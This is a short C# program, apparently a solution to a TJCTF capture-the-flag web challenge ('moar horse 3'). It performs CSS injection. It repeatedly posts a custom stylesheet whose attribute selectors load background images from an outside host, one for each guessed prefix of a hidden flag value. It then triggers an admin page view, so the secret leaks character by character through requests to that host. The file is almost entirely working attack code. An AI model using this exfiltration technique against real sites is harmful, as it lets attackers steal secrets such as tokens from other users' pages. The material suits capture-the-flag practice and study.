moar horse 3.cs

static void Main()
{
    var cs = "abcdefghijklmnopqrstuvwxyz0123456789";
    var currentFlag = "";
    while (true)
    {
        foreach (var c in cs) SendReq(currentFlag + c);
        currentFlag += Console.ReadLine();
    }
}

static void SendReq(string s)
{
    var css = $".flag[value^={s}]{{background-image: url(http://ac-predictor.azurewebsites.net/{s}.png)}}";
    HttpClient client = new HttpClient();
    FormUrlEncodedContent content = new FormUrlEncodedContent(new Dictionary<string, string>{
        {"custom_styles", css }
    });
    var cookie = client.PostAsync($"https://moar_horse_3.tjctf.org/", content).Result.Headers.GetValues("Set-Cookie").Last();
    Console.WriteLine($"cookie of {s} : {cookie}");
    HttpRequestMessage message = new HttpRequestMessage(HttpMethod.Get, "https://moar_horse_3.tjctf.org/show_admin");
    message.Headers.Add("Cookie", cookie);
    client.SendAsync(message);
}